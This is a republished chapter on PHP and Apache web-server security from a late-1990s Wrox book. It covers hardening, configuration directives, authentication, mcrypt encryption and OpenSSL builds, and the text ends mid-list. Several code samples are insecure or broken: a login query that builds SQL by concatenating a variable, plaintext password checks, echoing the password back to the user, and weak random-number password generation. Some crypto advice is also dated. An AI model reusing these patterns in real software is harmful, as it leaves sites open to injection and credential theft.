Professional PHP Programming

This is the first item in our Book Samples/Reviews section! This excerpt from Wrox Press Ltd.’s Professional PHP Programming covers Chapter 20 – Security. It shows you how to increase the security of your web site, not just by writing safe PHP scripts but also by configuring your webserver correctly. Buy it on Amazon.com now!

This manuscript is an abridged version of Chapter 20 on Security from the Wrox Press book Professional PHP Programming. It shows you how to increase the security of your web site, not just by writing safe PHP scripts but also by configuring your webserver correctly.

This book as a whole is about programming with PHP, an Open Source, server-side scripting language for creating dynamic Web pages. It can be combined with many technologies, and this book has extensive details on integrating PHP with LDAP, XML and IMAP.

PHP is a great tool for quickly bringing dynamic elements to your web site. With its familiar syntax and low overhead, getting started is easy and you don’t need to worry about being overwhelmed with details when all you want is a simple script. We will take you from installation and configuration of the PHP engine to advanced dynamic application design, covering database and directory manipulation, dynamic graphic manipulation, dynamic graphic integration, and XML along the way.

For further details about the book, and other books in our range, visit the Wrox Press Web Site.{mospagebreak title=Contents} This manuscript is an abridged version of Chapter 20 on Security from the Wrox Press book Professional PHP Programming. It shows you how to increase the security of your web site, not just by writing safe PHP scripts but also by configuring your webserver correctly.

This book as a whole is about programming with PHP, an Open Source, server-side scripting language for creating dynamic Web pages. It can be combined with many technologies, and this book has extensive details on integrating PHP with LDAP, XML and IMAP.

PHP is a great tool for quickly bringing dynamic elements to your web site. With its familiar syntax and low overhead, getting started is easy and you don’t need to worry about being overwhelmed with details when all you want is a simple script. We will take you from installation and configuration of the PHP engine to advanced dynamic application design, covering database and directory manipulation, dynamic graphic manipulation, dynamic graphic integration, and XML along the way.

For further details about the book, and other books in our range, visit the Wrox Press Web Site.{mospagebreak title=The Importance of Security} This chapter will show you how to increase the security of your web site, not just by writing safe PHP scripts but also by configuring your webserver correctly.

Security is an often-neglected part of web sites. This is probably caused by the fact that security is not easily quantifiable and is often not very visible to visitors of your web site. In contrast, a lack of security may be very visible and the consequences can be disastrous. A defaced web site is not only very embarrassing, but it can scare off customers. If you knew the web site of an on-line store had been hacked, would you still trust them with your credit  card information?

Another problem with security is that it is very broad in its scope and that you will need to keep up-to-date all the time. You need to maintain security; it is not just something you add after finishing a project.

Starting at the Beginning
Running a secure web site starts with a secure server to run it on. Unfortunately, setting up a secure server and keeping it secure requires intimate knowledge of the operating system used. You will likely have to change obscure configuration files and install extra security software. Below is a short list of some of the things you can do to dramatically increase the security on your server. This list is by no means complete and is only meant to help you start securing your server. You should consult books and/or web sites specifically about computer and Internet security. The web site of the Computer Emergency Response Team, better known as CERT, can be found at www.cert.org. It is an especially good starting point for finding more information about security.

Fixes and upgrades
Before you can start securing your server you need to make sure your operating system is up-to-date and all the necessary fixes have been applied. The web site for your operating system will probably have a complete list of recommended upgrades and fixes.

Hardening your server
The process of securing a server is often called hardening. Hardening a server is an essential step towards building a secure server. What hardening essentially boils down to is removing all unnecessary services from your server. For instance, does your server really need to run FTP, email and print services? If you don’t use a particular service, all it does is increase the chance of your server being hacked or crashed. Since you are setting up a webserver, try to move all other services to other machines. If you remotely manage a UNIX machine, consider replacing the telnet service with a secure alternative, such as SSH (www.ssh.fi) or OpenSSH (www.openssh.org). Both programs are secure replacements for rcp/rsh and alleviate the need for ftp and telnet. If you do decide to keep using telnet, you could install TCP wrappers (ftp://ftp.porcupine.org/pub/security/index.html) to significantly increase security.

Keeping an eye on your server
It is essential that you regularly check your server’s log files. After doing this a few times, you will get a good impression of the messages the log file will contain when the system is running as it should. When you notice any deviations, you’ll know something is wrong and you need to investigate further.

Staying informed
Staying informed is an essential part of maintaining a secure server. For instance, you need to know when new fixes or upgrades for your operating system are available. Regularly checking web sites such as Security Focus (www.security-focus.com) and Packet Storm (packetstorm.securify.com) is a great way of staying informed. Don’t forget to check the web site for your operating system though.

Securing your Web Server
Keeping your web server up-to-date can be fairly easy. Most vendors have mailing lists to keep you informed of new versions of your web server and the availability of patches or fixes. If your web site uses Apache, check out the Apache Week web site (www.apacheweek.com) and subscribe to their weekly newsletter. This web site also has a complete archive of back issues. Check your vendor’s web site or contact them for more information. Again, web sites such as CERT, Security Focus and Packet Storm are a great source of information. Another web site that may come in handy is WebServer Compare (webservercompare.internet.com). They have quite a lot of information about different web servers and will make choosing a suitable web server a lot easier.

Securing your web server consists of several different steps. Since this book mainly concentrates on the Apache web server, I will use Apache as an example. Most principles are more or less the same for other web server, so you will probably be able to apply them to the web server you are using.


Below is a list of configuration issues for Apache. More information on configuring Apache can be found in the on-line documentation on the Apache web site (www.apache.org) or in the Professional Apache book by Peter Wainwright.

Permissions of the ServerRoot Directories
The ServerRoot (the directory where Apache is installed) should not be owned by the user the web  server runs as (usually www or nobody). In addition, both normal users and the user the web server runs as should be unable to change anything in the ServerRoot or the directories below it. This way you can make sure that it is very hard, if not impossible, for users to change the configuration of the web server. You may want to change the permissions on the DocumentRoot so your users are able to change the files in it but no more.

Make sure the user the web server runs as has permission to write in the log directory though. If you don’t, you will not have any log files.

Stopping Users from Overriding Server Wide Settings
You have probably put some thought into the settings for your web server, so you will most likely want to prevent your users from circumventing your server wide settings. With Apache, this can be done with the AllowOverride directive. You can specify None to completely forbid your users from overriding settings or you can list the settings they are allowed to override.

Protecting your Server’s Files
You should not allow the web server access to files outside the DocumentRoot. This can be done with a Directory statement.

DocumentRoot /usr/local/apache/htdocs # Do not allow access to files outside DocumentRoot <Directory />      AllowOverride None      Options None      Order deny,allow      Deny from all </Directory> # Allow access to files in DocumentRoot <Directory /usr/local/apache/htdocs>      AllowOverride None      Options Indexes FollowSymlinks      Order allow,deny      Allow from all </Directory>
This tells the web server not to access any files outside the DocumentRoot. One important thing to realize is that you now need to tell the web server that it is permitted to access files in the DocumentRoot. This has already been done in the default Apache configuration, so this should not be a problem.

Giving Each User their Own Home Page
You can use the UserDir directive to allow users to have their own home page. Using the UserDir directive has the potential to allow people to read files from the home directory of the root user (usually / or /root). You can make sure this cannot happen by disabling the home page for the root user. This only works for Apache 1.3 and newer though.

UserDir disabled UserDir enabled alice bob UserDir public_html <Directory “/home/*/public_html”>     AllowOverride None     Options IncludesNOEXEC SymLinksIfOwnerMatch     Order allow,deny     Allow from all </Directory>
This configuration first disables personal home pages for all users and then enables users alice and bob to have their own home page. Apache will look for these home pages in the public_html directory of their home directory. Users are not allowed to override the server wide settings but are allowed to use SSI (but not start programs from within SSIs). Symbolic links are only followed if the user also owns the file or directory they point to. That way, users cannot easily provide web access to files that shouldn’t be accessible via the web (such as someone else’s home directory). Note that this example assumes that the home directories for all users reside in /home. If this is not the case, simply add an extra Directory block for each directory. For instance, if some of your users have a home directory located in /staff, you could simply add the text below to the configuration file.

<Directory “/staff/*/public_html”>     AllowOverride None     Options IncludesEXEC SymLinksIfOwnerMatch     Order allow,deny     Allow from all </Directory>
Apache’s default configuration allows users to put a home page in public_html and does not disable root’s home page. You could disable the root home page by adding the line below to the configuration file.

UserDir disabled root
Server Side Includes (SSI)
Server side includes can be configured in such a way that it enables users to run arbitrary programs. Since you have little control over what programs they run, you may want to disable this feature. Completely disabling SSI is probably not necessary.

Apache has the IncludesNOEXEC option to allow SSI, but disallow users to start programs (or CGIs) from them.

Disabling the execution of programs from a SSI may not be possible in your situation. Apache’s default configuration has the use of SSI disabled.

Permitting CGI Execution Only from Certain Directories
It is a good idea to disallow the execution of CGI scripts in directories other than cgi or cgi-bin of the web server. You can do this by adding a ScriptAlias line to httpd.conf for every directory where the execution of CGI scripts should be allowed and by making sure the handler for CGI scripts is either commented out or removed altogether.

#AddHandler cgi-script .cgi ScriptAlias /cgi-bin/ “/usr/local/apache/cgi-bin/” <Directory “/usr/local/apache/cgi-bin”>     AllowOverride None     Options None     Order allow,deny     Allow from all </Directory>   <Directory “/home/*/public_html/cgi-bin”>     AllowOverride None     Options ExecCGI     Order allow,deny     Allow from all </Directory>
The first parameter to ScriptAlias specifies how the CGI scripts will be made available via the web, while the second parameter specifies where the scripts are located on the server. You should include a Directory for each aliased directory. Among other things, this makes sure someone cannot get a list of all CGI scripts on your server. Also, note that the AddHandler directive has been commented out.

The second Directory directive enables users to create their own CGI scripts. This is could be done more elegantly via a ScriptAliasMatch directive, but this is a bit easier to use. Note that the ExecCGI option is used. This is not needed if a ScriptAlias is used.

Allowing users to create their own CGI scripts is inherently a security risk, so you may not want to allow your users to create their own CGI scripts.

Apache’s default configuration has the cgi-script handler commented out and has ScriptAlias and Directory directives for /cgi-bin/.
Note that you can disable CGI execution while still allowing people to use PHP scripts.

Placing the PHP Parser outside the Web Tree
Placing the PHP parser outside the web tree is a very sensible thing to do. This makes it very difficult to abuse the PHP parser on your web server. Specifically, you do not want the PHP parser in the cgi-bin directory or any other directory that allows the execution of CGI programs. However, if you are using an Action directive to parse your script, than this will not be possible. For the Action directive to work the PHP parser most be placed in a directory that allows CGI execution. Placing the PHP parser outside the web tree only works when using PHP scripts as CGI programs.

If you want to use PHP scripts as CGI programs (and be able to place the PHP parser outside the web tree), you need to check a couple of things.
  1. All PHP scripts must reside in a directory that allows CGI execution.
  2. The scripts must be marked as executable (only on UNIX machines).
  3. The script must contain a special line at the top with the path of the PHP parser.
You can make your PHP scripts executable with the following command:

chmod +x test.php3
This marks the script named test.php3 in the current directory as being executable. This is only necessary for webservers running a UNIX variant.

Below is a small example of a PHP script that can be run as a CGI program.

#!/usr/local/bin/php   echo “This is a small CGI program.”
The first line contains the name and the location of the program (in this case PHP) that should be used to run this script. In the example the PHP parser is located in the /usr/local/bin directory.
©1998 Wrox Press Limited, US and UK. {mospagebreak title=Securing your PHP Installation} Securing the module and the CGI version of PHP differs somewhat. Most options apply to both the module and the CGI version, but there are some that are only applicable to the CGI version of PHP. I will first discuss the options both installations have in common and then the CGI specific options.

Common Configuration Options
auto_prepend_file string
This configuration option is very handy for automating common tasks, such as connecting to databases; authenticating users or declaring often used functions. Chapter 22 (Templates) has more information on the use of this option.

doc_root string
This configuration option is only used when PHP is running in safe mode. When safe mode is in effect, PHP will not parse files outside this directory.

engine boolean
With this option you can turn parsing of PHP scripts by the PHP module on or off on a per-directory or per-virtual host basis. You could combine this with Apache’s AddHandler/Action directives to execute some scripts with the module and other scripts with the CGI version. The CGI version could be running under the suEXEC mechanism. More information on Apache’s suEXEC mechanism can be found later in this chapter.

If you turn parsing of PHP scripts by the module off for a directory that contains PHP scripts, please make sure that access to the scripts is disallowed or that the CGI version will parse these scripts. If you don’t, the source of the scripts will be sent to the browser. If the source contains passwords, this can become major problem. It is better to be safe than sorry, so check the contents of a directory before you turn the parsing of scripts off.

gpc_order string
Set the order in which GET, POST and COOKIE data is parsed. For instance, if you set this to “PG”, POST data will be parsed before GET data, so the GET data will override the data that resulted from the POST and cookies will not be parsed. The default is “GPC”.

include_path string
Specifies a list of directories where functions such as require, include and fopen will look for files. The format is like the system’s PATH environment variable. In UNIX you use a colon to separate multiple directories, while in Windows you use a semicolon.

In UNIX you would use:

include_path = .:/websites/common:/websites/car2001
In Windows you would use:

include_path = .;c:websitescommon;d:websitescar2001
open_basedir string
With the use of the open_basedir option you can limit which files can be opened from PHP scripts.

When a script tries to open a file with, for example, fopen or gzopen, the location of the file is checked. When the file is outside the specified directory tree, PHP will refuse to open it. All symbolic links are resolved, so it’s not possible to bypass this restriction with a symbolic link.

If you use a single dot, PHP will only open files in the directory the script is stored or any directory below it. You can specify multiple directories, just like you can with include_path.

The default is to allow all files to be opened.

max_execution_time integer
This allows you to specify the maximum number of seconds a script is allowed to execute. If a script takes longer, the PHP parser terminates it. When not in safe mode, you can use the set_time_limit function to change this setting from a running script. For example, if the script has been running for 10 seconds and the set_time_limit function is called with a value of 30, the script will be allowed to run 40 seconds. Note that the amount of CPU time consumed is not taken into account. Even if the script does nothing for 40 seconds PHP still terminates it.

By default, a script is allowed to run 30 seconds. If you set the time limit to zero, either using this option or the set_time_limit function, no time limit is imposed on the script.

memory_limit integer
With the memory_limit option you can limit the amount of memory (in bytes) a script can use. You can only use memory limits if you have compiled PHP with support for it. In contrast to a time limit, you cannot change the amount of memory a script can use from the script itself. It can only be done from the PHP configuration file.

memory_limit = 204800 # Let the scripts use up to 200 KB of memory


safe_mode boolean
This option turns PHP’s safe mode on or off. When PHP is run in safe mode, PHP will impose several security limitations on scripts.

safe_mode_exec_dir string
When safe mode is in effect, PHP will only allow you to execute programs from the specified directory.

sql.safe_mode boolean
MySQL has it’s own safe mode. If you set this to TRUE, mysql_connect and mysql_pconnect will ignore any host, user and password information you supply. This means you can only connect to the MySQL database as the user the web server is running as.

upload_tmp_dir string
This specifies where PHP should place files that are being uploaded.

user_dir string
This is the directory PHP will look for scripts in a users home directory. Normally you will use the value you have also used for the UserDir directive in the Apache configuration (usually public_html), but you could also use other values. For instance, if you set this to public_html/php, then PHP scripts need to be located in the php subdirectory of public_html in order for PHP to parse them.

Database Specific Options
Most of the database modules have several options that may increase the availability of your application. The two most common options are max_persistent and max_links. Check the documentation of the particular database you are using to see which options are supported.

max_persistent integer
Allows you to set the maximum number of persistent connections a single process can open at any one time. If you set this value to 3 and you have set the number of webservers Apache is allowed to start to 50, you could end up with 150 persistent connections. Please make sure your database can handle this.

max_links integer
Allows you to set the maximum number of database connection a script can have. This includes both normal and persistent database connections. Don’t set this too high, as your database may not be able to handle the sheer volume of connections.

Using Safe Mode
Running PHP in safe mode is a great way of making the use of PHP scripts safer, especially if you allow users to develop and run their own PHP scripts. Turning on safe mode will cause PHP to check a number of this before executing functions that could possibly be a security risk.

Include, ReadFile, Fopen, File, Unlink, RmDir, etc.
The owner of file to be included must either be the same as the owner of the script running or the directory in which the file resides must be owned by this user.

Exec, System, PassThru, etc.
Programs to be executed must reside in a special directory (the default is /usr/local/php/bin). You can set this value before compiling PHP with the –with-exec-dir option.

Mysql_Connect
This function takes an optional username to use to connect to an MySQL database. When in safe mode, this username must either be the username of the owner of the current file being parsed, or the name of the httpd user (usually nobody).

HTTP Authentication
The numerical user id of the owner of the script containing the HTTP Authentication code will be prepended to the authentication realm. This is to prevent someone from writing a password.

©1998 Wrox Press Limited, US and UK. {mospagebreak title=User Identification and Authentication} Every once in a while you will need to uniquely identify a user. Users are usually identified by a challenge and response system. A username/password combination is a good example of such a system, with the challenge being ‘Give me the secret password for Alice’ and the response being Alice’s secret password. This works because user Alice should be the only one who knows the secret password.

User Authentication by the Web Server
There is a standard way to authenticate users that requires minimal effort on the side of the PHP programmer. You can simply let Apache take care of authenticating the users.

AuthName      “Secret page”      # The realm AuthType      Basic   # The password file has been placed outside the web tree AuthUserFile   /home/car2001/website.pw   <LIMIT GET POST> require      valid-user </LIMIT>
You need to put these directives in a file called .htaccess in the directory you are trying to protect. You also need to create a file with the username/password combinations. You can do this with the htpasswd program that comes with Apache. Storing the password file inside the web tree is a bad idea, so place it somewhere safe outside the web tree and make sure that the permissions on the password file only allow the owner to view and modify the password file. Of course, the web server must be able to read the password file too.

If you now try to access a file in the protected directory, the web server asks the browser for a username and a password. The browser pops up a small input box where the user can type in their username and password. If the username/password combination matches the values in the password file, the user is allowed to access the page. If not, they get an error page telling them the web server could not authorize them. The realm is shown to the user so that they know which username and password to use.

The passwords are normally stored in an encrypted form, so even if a malicious user somehow gets their hands on the password file, they still wouldn’t know the passwords. If you know someone got their hands on the password file, you should probably generate new passwords for all the users listed in that file, since it is not impossible, though very hard, for this malicious user to come up with working passwords. That is, if you use passwords that are sufficiently random. The function below generates suitable passwords.

function randomPassword($length) {    $possible = ‘0123456789!@#$%^&*()_+’ .                ‘abcdefghjiklmnopqrstuvwxyz’ .                ‘ABCDEFGHIJKLMNOPQRSTUVWXYZ';    $str = “”;    while (strlen($str) < $length) {       $str .= substr($possible, (rand() % strlen($possible)), 1);    }    return($str); }
Don’t forget to initialize the random generator with srand before calling this function or you may be generating the same set of passwords over and over again. It might be a good idea to use mt_rand instead of rand. Not only is mt_rand faster, it is also a better random generator and theoretically generates better passwords. To use mt_rand you need to change one line in the randomPassword function.

$str .= substr($possible, mt_rand(0, strlen($possible) – 1), 1);
You could initialize the random generator with something like this (works both for mt_srand and srand):

mt_srand((double)microtime() * 1000000);
Apache also supports digest authentication. Digest authentication works just like basic authentication, but the passwords are sent over the Internet in an encrypted form. While this does add security, digest authentication only works with Internet Explorer, which makes it almost impossible to use in most cases. You use htdigest instead of htpasswd to create the password file for digest authentication.
A small example is shown below.

<?php   if(!isset($PHP_AUTH_USER)) {     Header(“WWW-Authenticate: Basic realm=”Secret page””);     Header(“HTTP/1.0 401 Unauthorized”);     echo “You did not log in correctly…n”;     exit; # exit will stop PHP from parsing the rest of the script   } else {     echo “Hello $PHP_AUTH_USER.<P>”;     echo “You entered $PHP_AUTH_PW as your password.<P>”;   } ?>
This can only be seen by someone who has logged in correctly. You can put this piece of code at the top of any page that needs authentication pages. Change the realm if you need different passwords for different sections. You could even have it automatically included in every page with the auto_prepend_file configuration option.

User Identification and Authentication with PHP
Doing user authentication in PHP has a lot going for it. It may be a bit more difficult, but the results are worth the extra effort. Below is a list of the many advantages of doing authentication from PHP.
  • It can be undone. A user can “log out”. This is not possible when you let Apache do the authentication.
  • It can expire. You can let logins expire after a certain time. For instance, if someone logged in and did not browse your site for 30 minutes, you could force them to authenticate themselves again.
  • It can be customized. You are only limited by your imagination and your technical skills. You have full control over the complete authentication process. You could for instance, use a small Java applet to send encrypted passwords over the Internet, which could be decrypted on the server with the mcrypt library. This would work with any browser that supports Java.
  • It can be database based. You can use all kinds of data from a database to authenticate users. You could keep a complete logfile of everyone visiting your website. (Note that Apache can get passwords from a database, for instance with the mod_auth_mysql module.)
  • It is per page. You can decide on a per-page basis if you need authentication, which pages are authenticated and which aren’t. You can do something similar with Apache by changing the realm, but that is not as flexible.
  • It can be user authenticating and have optional registering. In registration mode, a user without a valid login is encouraged to register and an account is created for this user. The user is able to view the page however, with or without an account.
  • It works with CGI PHP. This is surely a big plus. While letting the webserver do the authentication will work with the CGI version of PHP, your script has no way of finding out who has been authenticated.
A simple but fully functional example is shown below.

<? if (!isset($password) || $password != “secret”) {    ?>    <FORM ACTION=”login.php3″ METHOD=POST>    <TABLE><TR><TD><CENTER>    Password: <INPUT NAME=password TYPE=password><BR>    <INPUT TYPE=SUBMIT>    </CENTER></TD></TR></TABLE>    </FORM>    <? } else echo “This is password protected information.” ?>
You can also have the browser display a dialog where the visitor can enter username and password information. This is done with the 401 HTTP status. This example retrieves the username and password combinations from a MySQL database.

<? if(!isset($PHP_AUTH_USER)) {    Header(“WWW-authenticate: basic realm=”restricted area””);    Header( “HTTP/1.0 401 Unauthorized”);    echo “You failed to provide the correct password…n”;    exit; } else {    mysql_select_db(“users”);    $user_id = strtolower($PHP_AUTH_USER);    $result = mysql_query(“SELECT password FROM users ” .                         “WHERE username = ‘$username'”);    $row = mysql_fetch_array($result);    if ($PHP_AUTH_PW != $row["password"]) {      Header( “WWW-authenticate: basic realm=”restricted area””);      Header( “HTTP/1.0 401 Unauthorized”);      echo “You failed to provide the correct password…n”;      exit;    } } ?>
Only users with a working username/password combination can see this.


You could also use a form the let the user input username and password. That way you have complete control over the layout of the HTML pages used.

Checking IP Addresses
People often think an IP address uniquely identifies a visitor. Unfortunately, this is not the case. Proxy servers may cause the requests of several visitors to come from the same IP address. If you were to use the IP address of those requests to identify users, you would in fact be checking the IP of the proxy server, which is probably not what you want. For instance, if you have an on-line poll and you allow one vote per IP address, you may only be allowing one vote per ISP. Another problem caused by proxy servers is the fact they may cause the requests from a single visitor to come from several different IP addresses. Multi-user systems and the use of IP masquerading also cause similar problems. This makes the use of an IP address to identify a user troublesome at best.

IP addresses do have their uses, but they are fairly limited. For instance, if you were running a forum and you were being harassed by a user posting abusive content, you could find out his IP address and ban anyone from that IP address. This is a last ditch method and usually doesn’t work very well. If the he uses a dial-up connection, he could simply reconnect to his ISP and get a new IP. If that ISP had a proxy server, you would be banning everyone who uses that ISP to connect to the Internet.

The following line will get the IP address that is associated with a particular request.

$ip = $REMOTE_ADDR;

©1998 Wrox Press Limited, US and UK. {mospagebreak title=Using Cryptography} In PHP, cryptography is mostly used for encrypting information and generating checksum or digests. Using cryptography can provide a lot of added security when done right, but it can also give a false feeling of security.
 
This paragraph can only give you some ideas on the use of cryptography. If you really want to get your hands dirty, you should consult some good information on cryptography. The standard work on cryptography is Bruce Schneier’s Applied Cryptography, which is both very thorough and surprisingly readable. His website (www.counterpane.com/labs.html) is also a good starting point for finding cryptographic information on the Internet.
 
In PHP most of the cryptographic functions are provides by the mcrypt (hq.hellug.gr/~mcrypt/) and mhash (www.schumann.cx/mhash/) libraries. You need to install these libraries on your system and configure PHP to use them using the –with-mcrypt and –with-hash options.
 
When compiling PHP with mcrypt support it is possible you will run into compilation problems. The compiler will start complaining about RC2 (and other things) not being declared. This is caused by the fact that the file functions/mcrypt.c in PHP versions 3.0.12 and older is not completely in-sync with current releases of the mcrypt library. The preferred way of fixing this would be upgrading to PHP version 3.0.13. Another way to fix this would be to get a newer version of mcrypt.c from the CVS repository. You can do this by following this URL: http://cvs.php.net/cvsweb.cgi/functions/mcrypt.c?rev=1.11

Using Encryption
There are essentially two types of cryptography: public key and secret key. Sometimes the terms asymmetric and symmetric are used.
 
Public key cryptography can be called asymmetric, because the keys for encrypting and decrypting a message are not the same: you publish the public key and keep your private key a secret. After you have published your public key, people can send you messages only you can read. To do this, they encrypt the messages with your public key. To decrypt the message one would need the private key. Since you are the only one who has access to this key, you are the only one who can read this message. You can also use your private key to sign messages. People can use your public key to verify that you have written a message. Such a digital signature could be used in court to prove someone sent an email message. The PGP (Pretty Good Privacy) and GPG (GNU Privacy Guard, the free alternative to PGP) software can be used with PHP to do public key cryptography. You can find more information about PGP and GPG at www.pgp.com and www.gnupg.org. The problem with public key cryptography is that it is rather slow and the keys are huge (usually 512 to 2048 bits).
 
Secret key cryptography can be called symmetric because the same key is used for encrypting and decrypting data. This is the reason why you need to keep the key absolutely safe. In fact, in programs such as PGP and GPG public key cryptography is mostly used for signing messages and sending secret keys in a secure fashion. The actual encryption of the message is done with secret key cryptography. As noted before, secret key cryptography is much faster and uses comparatively small keys (usually 40 – 128 bits).
 
If you have a need for encryption in your application, you will probably want to use secret cryptography. There is a whole range of algorithms to choose from: DES, TripleDES, Blowfish, IDEA and RC5, these are only a few. It is important to know that some algorithms are considered insecure (such as DES and RC2), while others are considered to be very secure (Blowfish, RC5 and IDEA for example). The security supplied by the host algorithm depends on the key size. Not very long ago, a group PCs connected via the Internet (in effect creating a very fast supercomputer) decrypted a message that had been encrypted with the RC5 algorithm using a 56-bit key in less than two days (www.distributed.net). If the message had been encrypted with a 128-bit key, this would have been impossible. Simply said, encrypting a message with a 41-bit key is twice as secure as encrypting it with a 40-bit key. In practice it is more complex than this, but this should make it clear how much more secure than a 128-bit key is. In PHP, encryption will mostly be used to exchange information between two webservers or between a webserver and a browser in a secure way.
 
What may be confusing is the fact that most encryption algorithms (or ciphers) can be run in several modes. Encryption algorithms can be used in four different modes:
 
ECB, Electronic Code Book
ECB mode is best used for encrypting small pieces of data that contain of which the contents are mostly random (such as other encryption keys). Because of the way ECB mode works it is probably safer to avoid using this mode, unless have a good reason to use ECB mode. You should use CBC mode, since that mode is considerably safer. With ECB mode, each block of data (you can get the size of a block with the mcrypt_get_block_size function) is separately encrypted.
 
CBC, Cipher Block Chaining
CBC mode is probably the mode you will use most often. If you don’t exactly know what mode to use, use this one.

CFB, Cipher Feedback
This is meant for encrypting byte streams. You probably will not need to use this mode.

OFB, Output Feedback
The use of the OFB mode is similar to CFB mode. You probably will not need OFB mode.

Below is an example of the use of the mcrypt functions. This example uses encryption in CBC mode.  

# $data is the array that contains the data that should be encrypted $encrypteddata = mcrypt_cbc(MCRYPT_TripleDES, “Secret key”,                             serialize($data), MCRYPT_ENCRYPT); $encrypteddata = bin2hex($encrypteddata);
$encrypteddata now contains an encrypted version of the array. The extra bin2hex step is necessary because mcrypt_ecb outputs binary data. You will need to use bin2hex, urlencode or another, similar function before you can use it in a cookie or a form variable. You decrypt the data with the same process in reverse.

$encrypteddata = hex2bin($encrypteddata); $data = unserialize(mcrypt_cbc(MCRYPT_TripleDES, “Secret key”,                                $encrypteddata, MCRYPT_DECRYPT)); # $data is the array that contains the decrypted data
For the CBC, CFB and OFB mode you can also specify an initialization vector (IV). This adds some extra security. Both sides need to have the same IV. If the decrypting side does not have the correct IV, the data cannot be decrypted. You could generate an IV from a password, as shown below.

$cipher = MCRYPT_IDEA; $block_size = mcrypt_get_block_size($cipher); $iv = mcrypt_create_iv($block_size, MCRYPT_DEV_RANDOM); $encrypteddata = mcrypt_cbc($cipher, “Secret key”, $data,                             MCRYPT_ENCRYPT, $iv);
(You may need to use MCRYPT_RAND instead of MCRYPT_DEV_RANDOM on some servers. If you do, please do not forget to initialize the random generator.)

Note that storing data on your server is probably not going to add any security. The reason for that is the fact that you will need to store the key on the same server, effectively defeating any benefits storing data in an encrypted form had.

Using Hash Functions
Most encryption algorithms can also be used to generate a hash or digest. The most well known example of a hash is probably a CRC value, used by compression programs (such as ARJ or GZIP) to check whether the archive was damaged or not. The hash of a piece of data can uniquely identify that piece of data.

Hashes are often used for storing passwords. If you store the hash of a password, you have a away of verifying a password when someone logs in without having to store the actual passwords on your server. For instance, the htpasswd program that comes with Apache generates a password file that contains hashes of the passwords you give it. It is very difficult, almost impossible, to generate a working password from a hash of that password.

In PHP scripts, you can use the crypt function to generate a hash from a password. If you need to generate a hash of a much larger piece of data, you should use the mhash module. In order to use the mhash function PHP needs to be compiled with mhash support. Unlike the mcrypt module the mhash module should compile without any problems.

Below is an example of using mhash to generate the 32-bit CRC of a piece of data.  

$crc32 = bin2hex(mhash(MHASH_CRC32, “This is a test”));
  The call to bin2hex is necessary because mhash outputs binary data, just like the mcrypt functions.  
©1998 Wrox Press Limited, US and UK.{mospagebreak title=Secure transactions using SSL} Using an SSL capable web server, Secure Socket Layer (SSL), is a great way of improving the security of your web site without having to change one single line of code. What SSL does is use cryptography to protect the flow of information between the web server and the browser. Not only does SSL encrypt all the data flowing over the Internet, it also provides the means for both parties to authenticate each other. This way, you can buy things on-line without any third party being able to see your credit card information. These characteristics make SSL very well suited for use in applications where sensitive information needs to be exchanged, such as e-commerce and web based email.
 
SSL uses an encryption technique called public key cryptography, where the server end of the connection sends the client a public key for encrypting information which only the server can decrypt with the private key it holds. The client uses the public key to encrypt and send the server its own key, identifying it uniquely to the server and preventing onlookers at points between the two systems from mimicking either server or client (generally known as a man-in-the-middle attack).
 
Secure HTTP is usually distinguished from regular unencrypted HTTP by being served on a different port number, 443 instead of 80. Clients told to access a URL with Secure HTTP automatically connect to port 443 rather than 80, making it easy for the server to tell the difference and respond appropriately.
 
There are several solutions for implementing SSL with Apache including the Apache-SSL project and the commercial StrongHold and Raven SSL implementations.
 
In this section, we’re going to look at implementing SSL with the mod_ssl module and the OpenSSL library. This has a slight edge over Apache-SSL because it abstracts the actual SSL functionality into a module, making it possible to load dynamically. It also compiles happily on both UNIX and Windows platforms.
 
Using Apache as a specific example of a webserver, we will just explain how to set it up for use with SSL.

Downloading OpenSSL and ModSSL
mod_ssl requires patches to be made to the original Apache source code. This is somewhat strange, since the object of mod_ssl was to remove all cryptography code from ‘regular’ Apache, allowing it to be distributed freely, and there seems to be no good reason why the patches aren’t incorporated into Apache as standard.
 
The Apache source must be patched with the correct version of mod_ssl. For this reason the mod_ssl package comes with the Apache version number built in, for example mod_ssl-2.4.4-1.3.9. This translates as ‘mod_ssl version 2.4.4 for Apache 1.3.9′. mod_ssl has its own web site from which current releases can be downloaded at http://www.modssl.org/.

mod_ssl tends to track the current release quite rapidly, but it is possible that a version of mod_ssl is not yet available for the latest Apache release. In this case we must either wait for mod_ssl to catch up or use a slightly earlier version of the Apache source.
 
OpenSSL also has its own web site, at http://www.openssl.org/.
 
In addition, US sites will need the RSAREF library to comply with patent restriction. This is no longer available from RSA’s own web site but can be found on a few European FTP servers (RSAREF is patented only in the USA), for example: ftp://ftp.replay.com/pub/crypto/crypto/LIBS/rsa/.
 
Prebuilt packages are available for both mod_ssl and OpenSSL for some platforms; packages for Linux systems are available from rpmfind.net and http://nonus.debian.org.
 
Be careful unpacking the archive; it does not put its contents into a single subdirectory. Instead use something like:  

# mkdir /usr/local/src/rsaref-2.0 # cp rsaref20.1996.tar.Z /usr/local/src/rsaref-2.0 # cd /usr/local/src/rsaref-2.0 # gunzip rsaref20.1996.tar.Z # tar -xf rsaref20.1996.tar
Building and Installing the OpenSSL library After unpacking OpenSSL, change down into the top directory and run the config script:  

# cd /usr/local/src/openssl-0.9.4 # ./config
This should automatically configure the library build for the target platform. If the config script guesses wrongly (probably because we’re using a platform that it doesn’t recognize) we can override it by using the Configure script instead, as we will see later.
 
If we want to install the libraries then we can also set the installation paths. Historically, the default install location for both the OpenSSL libraries and their support files is /usr/local/ssl; we can change this by specifying arguments to the script:

# ./config –prefix=/usr/local/apache/libexec/ssl –openssldir=/usr/local/apache/ssl
It isn’t actually necessary to install OpenSSL completely, as we can tell mod_ssl where to look for the OpenSSL libraries when we come to build it. However if we want to use them for other applications or we want to build them as dynamically linked libraries, it is useful to install them permanently.
 
In addition, the following options, none of which have double minus prefixes, can be used to customize the library:

threads, no-threads
Explicity enables or disables the use of threaded code in the library. Threaded code is more efficient, but may cause problems on some platforms. The default is to let the config script figure it out; this option might need to be set for more obscure platforms.

no-asm
Does not use assembly code to build the library. The OpenSSL package comes with fast assembly language routines for several different processor types and platforms and the config script will pick one if it finds a suitable match. This option forces the build process to resort to slower C-based routines instead. Normally the config script will work this out automatically; use this option to override it.

386
Relvant to x86 processor architectures only. The default assembly code provided for these processors requires a 486 or better. Specifying this option causes OpenSSL to be built with 386 compatible assembly code.

no-<cipher>
